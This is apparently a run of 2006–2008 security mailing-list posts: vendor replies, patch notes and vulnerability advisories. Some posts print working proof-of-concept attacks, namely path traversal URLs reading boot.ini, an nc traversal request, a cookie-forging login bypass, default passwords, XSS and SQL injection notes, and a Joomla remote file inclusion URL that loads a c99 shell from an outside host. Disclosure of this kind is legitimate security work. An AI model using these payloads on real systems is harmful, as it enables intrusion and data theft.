 Now, I asked blackboard to send me a version of the new upgrade, so I could test it out. Im still waiting for ther response.


From: Patrick Webster patrick@aushack.com
Sent: Fri 22. Sep 2006 18:03
aushack.com - Vulnerability Advisory
-----------------------------------------------
Release Date:
 22-Sep-2006

Software:
 Computer Associates - eTrust Security Command Center
 http://www3.ca.com/solutions/Product.aspx?ID=4351

 "eTrust Security Command Center helps you discover and prioritize
 relevant security data to effectively manage your security risks in real
 time. By correlating security risks to assets, you can take corrective
 action and investigate security incidents through a centralized command
 and control center."

Versions affected:
 eTrust Security Command Center 1.0, r8, r8 SP1 CR1 and r8 SP1 CR2.
 eTrust Audit 1.5 and r8.

Vulnerabilities discovered:

 1) Reveal web server path.

 2) Read and delete arbitrary files from the host server under
    the service account, generally LocalSystem.

 3) The event alerting does not use authentication, and as such is
    vulnerable to external replay attacks, similar to IDS replay attacks.

Vulnerability impact:

 Medium - A malicious authenticated user may read and delete arbitrary
 	  files, whilst an unauthenticated attacker may use a replay
 	  attack to distract staff from tracking real events, and/or
 	  denial of service by consuming disk space with false alerts. 	

Vulnerability information

 The software is operated by use of a web browser. Authenticated users have
 access to the various security reports and functions, which generally do
 not verify user controlled parameters.

 1) The ePPIServlet script returns a detailed path error when sent the
 quote character [  ] as part of the PIProfile function.

 2) The eSMPAuditServlet class contains a function, getadhochtml,
 which is used to provide reporting functionality. The component generates
 reports in a temporary file location, returns the file contents to the
 web client, then deletes it... but does not validate the path.

 3) There is an API function to create your own alerts: eTSAPISend.exe.
 The service does not use any authentication, so the attacker may script
 the binary to send thousands of false-positive alerts to the Security
 Command Center, diverting attention and resources from real threats.

 Examples (lines have been wrapped):

  1) https://escc-server.example.com:8080/etrust/servlet/ePPIServlet?
  PIProfile=eAV_Reports&PIName=Generate+Pre-7.1+Report+Data&profile=
  Threat+Management&node=

  Would return an error similar to: "Cannot read profile:
  C:Program FilesComputer AssociateseTrustCommand Centreservlet.. "

  2) https://escc-server.example.com:8080/etrust/servlet/eSMPAuditServlet?
  verb=getadhochtml&eSCCAdHocHtmlFile=../../../../../../../boot.ini

  Assuming the product was installed on the C drive, this will return the
  contents of c:oot.ini to the client, then immediately delete it, e.g:

  [boot loader]
  timeout=30
  default=multi(0)disk(0)rdisk(0)partition(1)WINNT
  [operating systems]
  multi(0)disk(0)rdisk(0)partition(1)WINNT="Windows 2003 Server"

  3) An example Windows Logon failure event would be similar to:

  C:> etsapisend.exe -nod $dstIP -cat "System Access" -opr Logon
  -sta F -nam NT-Security -loc \DomainIIS_Server -usr System -evt 70
  -src Security -nid 529 -inf "Logon Failure"

 Exploitation Requirement:

  Fortunately, the web service requires product based authentication prior
  to execution for 1 and 2. Unfortunately, the product ships with multiple
  default usernames and passwords, which although unlikely, may still be
  present. The default username:password pairs are below:

  eadmin:eadmin
  iam:iam
  threat:threat
  admin:admin

 For point 3, the $dstIP must have the Audit Router socket open (tcp/111).

Solution:
 1) Fixes QO81875, QO81758, QO81862, QO81863 ...

 2) Fixes QO81851, QO81876, QO81878 can be found at:

 http://supportconnectw.ca.com/public/eTrust/eTrust_scc/downloads/eTrustscc_updates.asp

 3) No solution - use perimeter based firewalls.

References:
 aushack.com advisory
 http://www.aushack.com/advisories/200608-computerassociates.txt

Credit:
 Patrick Webster ( patrick@aushack.com )

 Thanks to the CA Security team for their quick response.

Disclosure timeline:
 21-Jan-2006 - Vulnerabilities discovered.
 04-Aug-2006 - Sent to Computer Associates Security Advisor.
 04-Aug-2006 - Vendor response & verification.
 19-Sep-2006 - Vendor patch release.
 22-Sep-2006 - Public disclosure.

EOF


From: Rapigator rapigator@yahoo.com
Sent: Sat 7. Oct 2006 12:18
In response to the message sent on 10/4...

The vendor has released a fix. It has also been
discovered that this affects previous versions.

Vulnerable:
Invision Power Board 2.0.x
Invision Power Board 2.1.0 - 2.1.7
Invision Power Board 2.2 Beta 1

Not Vulnerable:
Invision Power Board 2.1.7 (ID: 21013.61005.s)
Invision Power Board 2.2 Beta 2

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From: harrisonholland@gmail.com
Sent: Fri 3. Nov 2006 11:55
Is there any more information available for these patches?  Unfortunately SAP makes it difficult to find what you are looking for on the service marketplace sometimes, and I am not sure which avenue to look for the patch 66 for Web AS 7.00.  Is this a basis patch, abap patch, java, or kernel patch, etc?  Any help would be greatly appreciated!


From: Nicob nicob@nicob.net
Sent: Tue 7. Nov 2006 00:43
Le vendredi 03 novembre 2006, harrisonholland@gmail.com a écrit :

>  Unfortunately SAP makes it difficult to find what you are looking for
> on the service marketplace sometimes, and I am not sure which avenue
> to look for the patch 66 for Web AS 7.00.

>From note #994630 : "ABAP customers can find the patches of the
standalone enqueue server on SAP Service Marketplace in the same
directory as the SAP kernel patches (disp+work, dw). J2EE customers will
find the standalone enqueue server for their engine in the same
directory as the SAPEXE package for their engine. The package in which
the standalone enqueue server is delivered has the name enserver.SAR."

I checked the SAP Support Portal, and I was effectively unable to find
patch 66 for version 7.00 (patch 136 for 6.40 is OK). I just send them a
mail about it.


Nicob






From: Nicob nicob@nicob.net
Sent: Thu 9. Nov 2006 21:08
--=-vPtqJxMcIB99xIlwxQPT
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Le mardi 07 novembre 2006 =C3=A0 00:43 +0100, Nicob a =C3=A9crit :

> I checked the SAP Support Portal, and I was effectively unable to find
> patch 66 for version 7.00 (patch 136 for 6.40 is OK). I just send them a
> mail about it.

=46rom https://service.sap.com/patches :

> Entry by Application Group
> Additional Components
> SAP Kernel
> SAP KERNEL 32-BIT
> SAP KERNEL 7.00 32-BIT
> SAP KERNEL 7.00 32-BIT
> Windows Server on IA32 32bit
> #Database independent

Then click on the "Download Object" link for ENSERVER (the latest patch
level is currently 83).


Regards,
Nicob

--=-vPtqJxMcIB99xIlwxQPT
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQBFU4qouhlqje80vsMRAngwAKC0PqyKv+VjatNhRhPzsWB3yJ8rIwCg1GD3
Hb3QoONf3IvGe7d8RC5CdzM=
=igwb
-----END PGP SIGNATURE-----

--=-vPtqJxMcIB99xIlwxQPT--



From: dean@etomite.org
Sent: Fri 17. Nov 2006 16:05
The remote file inclusion bug was fixed the day after we were alerted - we were not even informed about the sql injection one :sigh:


From: ckuan@airmagnet.com
Sent: Fri 17. Nov 2006 23:39
AirMagnet vendor response below -

(1) The vulnerabilities are tested against an over-a-year old AirMagnet Enterprise product, 
(2) Some of these vulnerabilities have been patched and fixed in AirMagnet Enterprise version 7.0.x, 
(3) All vulnerabilities are now completely fixed by AirMagnet Enterprise version 7.5 build 6307 and later.  
(4) AirMagnet customers can download patches from MyAirMagnet support web site (http://www.airmagnet.com/my_airmagnet/index.php)



From: packet@packetstormsecurity.org
Sent: Mon 20. Nov 2006 17:42
This directory traversal has already been discovered.

http://packetstormsecurity.org/0605-exploits/gphotos.txt f4e2552282a5007bb84e7693bc78dac2 GPhotos versions 1.5 and below suffer from directory traversal and cross site scripting flaws.  Authored By Moroccan Security


On Sat, Nov 18, 2006 at 09:19:01PM -0000, tux025@gmail.com wrote:
> 18/11/06
> 
> # Produit Vuln?rable : GPhotos 1.5
> 
> # Site officiel du produit :  http://photopeyu.free.fr/ 
> 
> #Vuln?rabilitiezz : 	
> 
> 1] Multiple Full path disclosure : http://localhost/photos/index.php?rep=tux25
> 
> 2]Directory traversal : http://localhost/photos/index.php?rep=../
> 
> ~Tux25 - tux025_gmail_point_com :)


From: saps.audit@gmail.com
Sent: Tue 21. Nov 2006 15:38
ive allready posted an advisory about that here:

http://www.securityfocus.com/archive/1/450268



regards laurent gaffié
http://s-a-p.ca/



From: Chris Gianelloni wolf31o2@gentoo.org
Sent: Tue 21. Nov 2006 16:53
--=-OYHdn1kCzw3ZLhRPM2TS
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Tue, 2006-11-21 at 15:38 +0000, saps.audit@gmail.com wrote:
> ive allready posted an advisory about that here:
>=20
> http://www.securityfocus.com/archive/1/450268
>=20
>=20
>=20
> regards laurent gaffi
> http://s-a-p.ca/
>=20

The GLSA is a notice to Gentoo users that the package in question had a
vulnerability, and that it has been fixed in Gentoo.  It isnt meant as
a generic disclosure or advisory.

Sorry if there was any confusion.

--=20
Chris Gianelloni
Release Engineering Strategic Lead
Alpha/AMD64/x86 Architecture Teams
Games Developer/Council Member/Foundation Trustee
Gentoo Foundation

--=-OYHdn1kCzw3ZLhRPM2TS
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iD8DBQBFY3VVkT4lNIS36YERAuX2AJ4lTpG67COrjiTVbwLGxkMDxYQLVACdEfvD
uxHJ+STi+HlsmDi8u2fen1I=
=o3GN
-----END PGP SIGNATURE-----

--=-OYHdn1kCzw3ZLhRPM2TS--



From: gmdarkfig@gmail.com
Sent: Thu 25. Jan 2007 21:43
Little error: Last version is 4.00.
Updated, sorry for the inconvenience.


From: gmdarkfig@gmail.com
Sent: Wed 14. Feb 2007 18:50
Little error for the file upload vulnerability.
Updated, see http://www.acid-root.new.fr/advisories/12070214.txt.
Sorry for the inconvenience :(.

"An attacker can access to this script, simply by sending a request
which not contains the "is_guest" and "is_user" variables."


From: simon.itsecurity@gmail.com
Sent: Sat 24. Feb 2007 17:24
The real risk level is : medium/high


From: eticket@hm2k.org
Sent: Wed 28. Mar 2007 16:45
Ive fixed these bugs in eTicket... see: http://eticket.sourceforge.net/


From: Lostmon@gmail.com
Sent: Sat 14. Apr 2007 18:34
Hello !

Original article:http://lostmon.blogspot.com/2007/04/posible-patch-for-sitex.html
vendor url: http://sitex.bjsintay.com/

osvdb id:33158,33159,33160,33161
http://archives.neohapsis.com/archives/bugtraq/2007-02/0477.html
http://www.securityfocus.com/archive/1/archive/1/461305/100/0/threaded
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1234

after study this vulns i found a simple posible patch :

some others params are afected like albumid upon submit to albun.php
username box upon submision to login.php , and multiple others params. 

the most of those flaws could be solve by a simple patch for "emergency" before the vendor 
release a update or a patch 

open includes/functions.php

arround line 12-13 we have this code

// - = - = - = - = - = - = - = - = -
// GLOBAL CODE
// - = - = - = - = - = - = - = - = - 

// Convert post, get, and server variables for shorthand use and
// register globals compatibility

if (!empty($_POST)) 	foreach ($_POST as $k => $v) 	$$k = $v;
if (!empty($_GET)) 		foreach ($_GET as $k => $v) 	$$k = $v;
if (!empty($_SERVER)) 	foreach ($_SERVER as $k => $v) 	$$k = $v;
if (!empty($_COOKIE)) 	foreach ($_COOKIE as $k => $v) 	$$k = $v;
if (!empty($_SESSION)) 	foreach ($_SESSION as $k => $v) $$k = $v;

// Prevent PHP include vulnerability, initialize important vars, will be over-written
#################################################################


you can change for this other :

################################################################
// stop XSS  function to mitigate the posible XSS flaws
//use StopXSS(param or function)

function StopXSS($text){

$text = preg_replace("/(<script)(.*?)(script>)/si", "", "$text");
$text = strip_tags($text);
$text = str_replace(array("",""",">","<","\"), "", $text);
return $text;

}

// - = - = - = - = - = - = - = - = -
// GLOBAL CODE
// - = - = - = - = - = - = - = - = - 

// Convert post, get, and server variables for shorthand use and
// register globals compatibility

if (!empty($_POST)) 	foreach ($_POST as $k => $v) 	$$k = StopXSS($v);
if (!empty($_GET)) 		foreach ($_GET as $k => $v) 	$$k = StopXSS($v);
if (!empty($_SERVER)) 	foreach ($_SERVER as $k => $v) 	$$k = StopXSS($v);
if (!empty($_COOKIE)) 	foreach ($_COOKIE as $k => $v) 	$$k = StopXSS($v);
if (!empty($_SESSION)) 	foreach ($_SESSION as $k => $v) $$k = StopXSS($v);

// Prevent PHP include vulnerability, initialize important vars, will be over-written

#####################################################################

and the most of xss flaws now are solved :D

Thnx for your time !!!

Thnx to OSVDB !!!

-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....


From: anonymous@hackermail.com
Sent: Thu 14. Jun 2007 06:33
My school just rolled out Blackboard Vista 4, and boy is it vulnerable :D


From: admin@gate9.org.uk
Sent: Tue 4. Sep 2007 05:32
Remote file inclusion in Joomla 1.5.0 Beta 
Exploit:

www.target.com/joomla/libraries/pcl/pcltar.php?g_pcltar_lib_dir=www.kskskskskskks.com/c99?

...
..


From: Colin Alston karnaugh@karnaugh.za.net
Sent: Fri 21. Sep 2007 07:47
Please be careful labeling something as "vulnerabilities" when they 
arent. Youve described software bugs which should be reported to the 
maintainer, none of them so far as I can see are vulnerabilities or 
exploits.


From: Tom Laermans tom.laermans@powersource.cx
Sent: Fri 21. Sep 2007 09:51
Colin Alston wrote:
> Please be careful labeling something as "vulnerabilities" when they 
> arent. Youve described software bugs which should be reported to the 
> maintainer, none of them so far as I can see are vulnerabilities or 
> exploits.
>   
I can see crashbugs, operfloods, channel takeovers and ways to find out 
peoples IP addresses who think they are hidden thanks to the IP hiding 
feature.
Having this malfunction certainly looks like a vulnerability to me.

Most vulnerabilities are indeed software bugs, and the exploits are 
actually documented in the post you comment on.

Tom


From: superfreak@freestart.hu
Sent: Tue 25. Sep 2007 15:38
The patch is out! Download via here: http://forum.racesimcentral.com/showthread.php?t=298659


From: babutski@gmail.com
Sent: Thu 27. Sep 2007 22:06
New patch out (1.255D) which adressed the issues


From: sales@bosdev.com
Sent: Tue 13. Nov 2007 00:08
Actually, youve never emailed us.

HTML is stripped from posts, with the exception of admin allowed tags.  The username XSS issue is already being dealt with in the 6.1 release.

Install.php wont do anything, unless you know the username/password/db name for the system.  Admins are told to remove the file specifically for the reason listed above.

Next time you say you have emailed someone, you might actually try doing it.


From: Aaron Cake aaron@vltpm.com
Sent: Mon 7. Jan 2008 14:39
> - Default Database Disclosure:
> /forum/snitz_forums_2000.mdb
> Solution:
> Change the database name. The name should be a combination of 
> letters and numbers. 
> 
> That makes it hard for anyone to guess the name of your database.

As a long time Snitz user who has installed it far more times then one would
consider sane, I question the validity of this advisory. While it is true
that the default database location is insecure, it is very clear in the
readme file that the database should be moved or at the very least renamed:

"Change the database name:
When using an Access database, all the data is stored in a single file,
unlike the other databases. So caution should be taken in where you store
your Access database as it can be downloaded by anyone if they know the
path. 
If you store your Access database in a folder outside of your www folder (or
wherever you keep the files for the rest of your site), then you should be
safe because no one can download your database if it is outside of your www
folder.
If you store your database in a cgi-bin folder, or in your www folder, then
it is strongly recommended that you change the default database name from
snitz_forums_2000.mdb to a cryptic or not easy to guess name. The name
should be a combination of letters and numbers. That makes it hard for
anyone to guess the name of your database."
    -Quoted from Snitz Forums 2000 README.HTM

The solution in this advisory is the same as mentioned in the README.HTM
setup instructions, and still not a good one compared to moving the file to
a directory not accessible to the public.

> - Information Leakage:  (Version: 3.4.05)
> Will show the Database path: /forum/whereami.asp
> 

The whereami.asp is not installed by default. It is in a ZIP file that is
optional to extract. And it will only provide the physical location of the
database if the database is in a web accessible area with the whereami.asp
file.

These are configuration issues, not security vulnerabilities.

---
Aaron Cake
Technical Services
Advanced Computer Ideas
Phone: 1-519-433-0279
Fax:   1-519-433-5413 
 




From: robert.ingruber@siemens.com
Sent: Tue 5. Feb 2008 14:42
According to SAP this vulnerability also affects the program SAPSprint versions < 1018. 

Currently there is a patch available for SAPlpd
SAP GUI for Windows 6.20 - patch level 72
SAP GUI for Windows 6.40 - patch level 30
SAP Gui for Windows 7.00 - patch level 6

A seperate patch will be available for SAPSprint.

Further information can be found in 
SAP Note 1138934
-------------------------------------------------

R.Ingruber



From: mattyg@hotmail.com
Sent: Fri 15. Feb 2008 09:51
Also with the service account, you dont appear to be able to change the default password, with firmware 1.0.4.50. I logged into the web interface with the service:service account, went to the Adminstration tab and changed the password there (no account name specified), and logged out. But, the service account password had NOT been changed! So, it must have changed the philips account password. 

My phone works fine with .50, and I cant find any list of whats changed in firmware 1.0.4.80... so it aint broke now, why "fix" it? Anyone know whats new in firmware 1.0.4.80? 


From: Steve Shockley steve.shockley@shockley.net
Sent: Thu 6. Mar 2008 16:14
Luigi Auriemma wrote:
> Application: Double-Take

Double Take responded:

You may be aware of a recent posting of “vulnerabilities” in Double-Take 
5.0 by an Italian gentleman, Luigi Auriemma. Essentially he found that 
sending packets of malformed data to our service will crash the service.

He also found that given access to the network, he could find a server’s 
operating system, Ethernet adapters, printer driver, list of partitions 
and their file systems, and recent Double-Take log entries.

These issues are not new and pose a low security risk. They do not 
result in unauthorized system access, data access, or data corruption. 
They also require the ability to send/receive packets directly to/from a 
server, which would require prior access to your network.

We want to assure you that these are not cause for concern and that we 
are working to close these gaps.


From: Christos Zoulas christos@zoulas.com
Sent: Thu 27. Mar 2008 13:49
On Mar 27,  2:09pm, cxib@securityreason.com (cxib@securityreason.com) wrote:
-- Subject: [securityreason] *BSD libc (strfmon) Multiple vulnerabilities

[... stuff deleted ...]

| Problem exist also in printf() function.
| 
| Example code will show Integer Overflow .
| 
| - ---example-start--
| #include <stdio.h>
| 
| int
| main(int argc, char *argv[])
| {
| printf("%1410065408.1410065407f
", 2);
| return 0;
| }
| - ---example-end--
| 
| cxib# gcc -o pln pln.c && ./pln
| Segmentation fault (core dumped)
| 
| What is wrong? the same problem that was in strfmon() function.

This is not the same problem, as I pointed out when I found it
after I fixed the integer overflow in strfmon(3). This is a NULL
pointer dereference caused by an unchecked memory allocation failure
in the gdtoa code. You dont even need to compile any code to cause
it:

$ printf %9999999999.999999999g 2

christos


From: fabio ctrlaltca@libero.it
Sent: Fri 28. Mar 2008 19:13
1) Password disclosure
What priviledges on the system do you need to read that process memory? 
With such priviledges, why dont you read the data directly from the 
config file?
2) Local Dos
Is the build unoficial/unsupported from the XChat team? Does the same 
bug exists in the official builds?
You talk about a local dos.. how can a user access the tray icon of 
another user to trigger the crash?

Please explain

CtrlAltCa


From: omnipresent@email.it
Sent: Sat 29. Mar 2008 17:41
>1) Password disclosure
>What priviledges on the system do you need to >read that process memory?
>With such priviledges, why dont you read the >data directly from the
>config file?

You can try to use the evils ProcessMemoryDumper.

I dumped (and Ive obtained user password) the memory from a limited User.

>2) Local Dos
>Is the build unoficial/unsupported from the XChat >team? Does the same
>bug exists in the official builds?

Ive not tested the Official release.

>You talk about a local dos.. how can a user access >the tray icon of
>another user to trigger the crash?

The "bug" was found while I was working in a VPN..

Regards.


From: Luigi Auriemma aluigi@autistici.org
Sent: Tue 8. Apr 2008 21:11
Forget the yesterdays advisory, the setup didnt installed the 7.53
patches from the ISO and so I was working on an old version.

The following is a new vulnerability tested on 7.53:

  http://aluigi.org/adv/closedview-adv.txt


--- 
Luigi Auriemma
http://aluigi.org


From: security curmudgeon jericho@attrition.org
Sent: Tue 27. May 2008 04:05
CORE / SecurityFocus,

The cross-references between BID, CVE and vulnerability seem to be wrong 
in both the advisory and BID database. From the advisory:

: Multiple vulnerabilities in iCal
: 
: Advisory ID: CORE-2008-0126
: Advisory URL: http://www.coresecurity.com/?action=item&id=2219

: Bugtraq ID: 28629 28632 28633	
: CVE Name: CVE-2008-1035 CVE-2008-2006 CVE-2008-2007	

:  1) Null pointer de-reference #1 (Bugtraq ID 28629, CVE-2008-2006)
: 
:  The COUNT value causes an integer overflow, which leads to a null

:  2) Null pointer dereference #2 (Bugtraq ID 28632, CVE-2008-2006)
: 
:  The TRIGGER value causes a null pointer dereference when iCal tries

:  3) Improper resource liberation (Bugtraq ID 28633, CVE-2008-2007)
: 
: ATTACH;VALUE=URI:S=osumi

Yet, looking at the current BID entries:

http://www.securityfocus.com/bid/28632	CVE-2008-2006
Apple iCal TRIGGER Parameter Denial of Service Vulnerability

http://www.securityfocus.com/bid/28633	CVE-2008-2007
Apple iCal ATTACH Parameter Denial Of Service Vulnerability

http://www.securityfocus.com/bid/28629	CVE-2008-2006
Apple iCal COUNT Parameter Integer Overflow Vulnerability

--

No mention of CVE-2008-1035 in the advisory other than the header CVE name 
reference. BID seems to have split the three vulnerabilities, but given 
two of them the same CVE. CVE does not have descriptions open yet.

Could someone from CORE, SecurityFocus or CVE confirm if CVE-2008-1035 is 
supposed to be in the mix, and if CVE-2008-2006 does correspond to two 
of the vulnerabilities listed?

Brian
OSVDB.org



From: "Steven M. Christey" coley@linus.mitre.org
Sent: Wed 28. May 2008 09:58
On Tue, 27 May 2008, security curmudgeon wrote:

> No mention of CVE-2008-1035 in the [CORE] advisory other than the header
> CVE name reference. BID seems to have split the three vulnerabilities,
> but given two of them the same CVE. CVE does not have descriptions open
> yet.

The descriptions are below - for CVE-2008-2006, we merged on the rough
criteria of "insufficient validation of a length field".

> Could someone from CORE, SecurityFocus or CVE confirm if CVE-2008-1035 is
> supposed to be in the mix, and if CVE-2008-2006 does correspond to two
> of the vulnerabilities listed?

CVE-2008-2006 intentionally corresponds to both.

I am not sure where CORE got CVE-2008-1035 from - that number was part of
a pool of numbers that were allocated to Apple, for them to assign
to issues in Apple products (this makes them effectively a CNA; see
http://cve.mitre.org/cve/cna.html for more info).

CORE obtained CVE-2008-2006 and CVE-2008-2007 directly from MITRE.  Its
most likely that during COREs collaboration with Apple, Apple might have
given them CVE-2008-1035 from Apples own pool, to cover one or more of
those issues.  This type of "reservation duplicate" happens periodically
when both researcher/coordinator and vendor use CVEs.  BUT - this is just
a guess, either CORE or Apple would need to provide a more concrete
answer.  We are currently keeping CVE-2008-1035 blank until theres more
clarity.

- Steve

======================================================
Name: CVE-2008-2006
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2006
Reference: BUGTRAQ:20080521 CORE-2008-0126: Multiple vulnerabilities in iCal
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/492414/100/0/threaded
Reference: MISC:http://www.coresecurity.com/?action=item&id=2219
Reference: BID:28632
Reference: URL:http://www.securityfocus.com/bid/28632
Reference: BID:28629
Reference: URL:http://www.securityfocus.com/bid/28629
Reference: FRSIRT:ADV-2008-1601
Reference: URL:http://www.frsirt.com/english/advisories/2008/1601

Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and
user-assisted remote attackers, to cause a denial of service (NULL
pointer dereference and application crash) or possibly execute
arbitrary code via a .ics file containing (1) a large 16-bit integer
on a TRIGGER line, or (2) a large integer in a COUNT field on an RRULE
line.  NOTE: this might be a duplicate of CVE-2008-1035.


======================================================
Name: CVE-2008-2007
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2007
Reference: BUGTRAQ:20080521 CORE-2008-0126: Multiple vulnerabilities in iCal
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/492414/100/0/threaded
Reference: MISC:http://www.coresecurity.com/?action=item&id=2219
Reference: BID:28633
Reference: URL:http://www.securityfocus.com/bid/28633
Reference: FRSIRT:ADV-2008-1601
Reference: URL:http://www.frsirt.com/english/advisories/2008/1601

Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and
user-assisted remote attackers, to trigger memory corruption or
possibly execute arbitrary code via an "ATTACH;VALUE=URI:S=osumi" line
in a .ics file, which triggers a "resource liberation" bug.




From: Juha-Matti Laurio juha-matti.laurio@netti.fi
Sent: Sun 6. Jul 2008 23:10
The vendor Nextime Solutions has informed about the release of upcoming bugfix version this week.

The company VP has stated that the test process of fixed version is started and a fixed version will be delivered to customers before a new academic term.

TietoEnator sold its education business in Finland to Nextime Solutions Oy on 1st Jan 2008.

Vendors response and information about the bugfix timeline was covered in local IT news (in Finnish):
http://www.tietoviikko.fi/doc.do?f_id=1381983

Juha-Matti

pelzi@pelzi.net wrote: 
> Product: Procapita (school administration system)
> Vendor: TietoEnator Abp
> Vulnerable versions: unknown
> Impact: high
> Found: months ago
> 
> The login screens of the school administration database system, "login.asp" and "inloggning.asp", as used in an unnammed school district in Finland, contain SQL injection vulnerabilities, which can be easily detected by inserting || (the oracle string concatenation operator and ending and starting quotes) within a valid password or username (they still work), or adding an odd number of quotes (resulting in an exception). The "input validation" in JavaScript must be "defeated" first - there is no signs of any validation done server side. 
> 
> The program also contains other SQL injection vulnerabilities in text fields etc. accessible after login - especially ones that are used to search for information, which may allow compromise of sensitive personal information in the database via injection to a SELECT query.
> 
> The program prints exception handlers to the browser, including Oracle database error strings.
> 
> The session cookie lacks the secure flag, and if a logged-in user clicks a link with the http: scheme (such links exist in the school districts web pages) the cookie will be sent in plain text.
> 
> The session cookie is not tied to the visitors IP address.
> 
> The program contains pages that automatically print themselves using JavaScript, leading to possible unintended printing of private information to a network printer since users are accustomed to clicking "OK".
> 
> The program gives the user no way of changing the password or disabling the login. The un-changeable password generated by the system is alphanumeric and only six characters.
> 
> The versioning of the program is so vague (the pages have either no version information at all or conflicting information) that it is impossible to say which versions are vulnerable, especially since I have no access to multiple installations, any docs or source.
> 
> The vulnerabilities have been reported to the vendor when they were found.
> 
> Exploits: None known
> 
> Fix: Modify code to properly sanitize user input server side.



From: oliver karow oliver.karow@gmx.de
Sent: Fri 15. Aug 2008 12:26
This is a multi-part message in MIME format.

------=_NextPart_000_015D_01C8FED2.177E2770
Content-Type: text/plain;
	format=flowed;
	charset="iso-8859-1";
	reply-type=original
Content-Transfer-Encoding: 7bit

Please find attached the advisory regarding MicroWorlds MailScan for 
Mailservers.

Cheers,

Oliver 

------=_NextPart_000_015D_01C8FED2.177E2770
Content-Type: text/plain;
	format=flowed;
	name="mailscan.txt";
	reply-type=original
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="mailscan.txt"

MicroWorld MailScan - Multiple Vulnerabilities within Admin-Webinterface
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


>> Affected Products <<


   - MailScan for Mail Servers=20
    =20
     * Version: 5.6.a with espatch1
     * Win32 Platform

   Other Mailscan Products, Versions, also, if available=20
   for other platforms, were not tested.


>> Product/Company Information <<
=20

	From MicroWorlds website: "MailScan 5.6 is the worlds most=20
   advanced Real-Time AntiVirus and AntiSpam solution for Mail Servers.=20
   The software safeguards organizations against Virus, Worm, Trojan and =

   many other malware breeds with futuristic and proactive technologies. =

   Employing an array of intelligent filters, MailScan offers powerful=20
   protection against Spam and Phishing mails along with comprehensive=20
   Content Security."

   http://www.microworld.de
   http://www.mwti.net

>> Vulnerabilities <<


   MailScan offers "Web Based Administration". The administration =
console=20
   (Server.exe) is running as an http service on tcp port 10443 with=20
   LocalSystem privileges. The communication is plain http without =
SSL/TLS.

   The interface is vulnerable to the attacks described below. All =
attacks=20
   do *not* require authentication.


-- >> Directory Traversal <<

   It is possible to access files on the system outside of the webroot=20
   directory with privileges of the LocalSystem account:

     echo -e "GET /../../../../boot.ini HTTP/1.0

" | nc <server> =
<port>


-- >> Authentication bypass <<

   After a login attempt with an invalid username and password, the =
application
   is setting a cookie at the webclient with the following content:

        Set-Cookie: User=3Dadmin; path=3D/
        Set-Cookie: login=3Dtrue; path=3D/
        Set-Cookie: IsAdmin=3Dfalse; path=3D/
        Set-Cookie: IP=3D; path=3D/


   Providing valid username and password will give a cookie with the=20
   following content:

        Set-Cookie: User=3Dadmin; path=3D/
        Set-Cookie: login=3Dtrue; path=3D/
        Set-Cookie: IsAdmin=3Dtrue; path=3D/
        Set-Cookie: IP=3D; path=3D/

   It is sufficient to set the cookie as shown above to get =
authenticated on the
   admin interface. The user "admin" is a default account, with a =
password set during
   installation.

   *BUT* requesting a resource on the webserver *without* supplying a =
cookie will=20
   also grant access to the requested resource. The attacker just needs =
to know=20
   the path to the resource.=20



-- >> Cross-Site-Scripting (XSS) <<

   =
http://ip:10443/<script>alert("No_Problem_its_just_an_admin_interface")</=
script>



-- >> Access to Logfile <<


   It is possible to access the logfiles of the application because the =
folder=20
   "/LOG" inside the webroot ("C:Program FilesCommon =
FilesMicroWorldWebServer")=20
   is not protected.... note that this does not require the directory =
traversal,=20
   mentioned before and thus is imho a separate vuln.
   The logfiles contain different information, like installation path, =
ip adresses,
   and error messages.

     http://ip:10443/LOG/W072808.LOG	(Format seems to be =
W:Month:Date:year)

      and

     http://ip:10443/LOG/Weblog.LOG

>> History <<

28. July 2008 - Touching base with MicroWorlds Support via Messenger
28. July 2008 - Sending High-Level description of vulns and RFP-Policy =
to agree
30. July 2008 - MicroWorld agreed to the policy
30. July 2008 - Detailed description and PoC-Script creating an admin =
user without
                authenticatin send to Microworld
01. Aug. 2008 - Asking Microworld if they were able to reproduce
02. Aug. 2008 - MicroWorld answered: "Not Yet"
05. Aug. 2008 - Asking Microworld if they were able to reproduce, and if =
yes, when
                a patch will be available
13. Aug. 2008 - No response from Microworld; I informed them that i will =
publish
                an advisory within the next days
15. Aug. 2008 - Advisory release


>> Credits <<

mail: Oliver-dot-karow-at-gmx-dot-de
advisory: http://www.oliverkarow.de/research/mailscan.txt
blog: =
http://oliver.greyhat.de/2008/08/15/multiple-vulnerabilities-within-mails=
can-admin-interface/



------=_NextPart_000_015D_01C8FED2.177E2770--



From: gmdarkfig@gmail.com
Sent: Fri 29. Aug 2008 04:34
Several changes were made.
* IDS Evasion feature added (%0D)
* You need the phpsploit class version >= 2.1

The newest version is available from :
http://acid-root.new.fr/?1:35


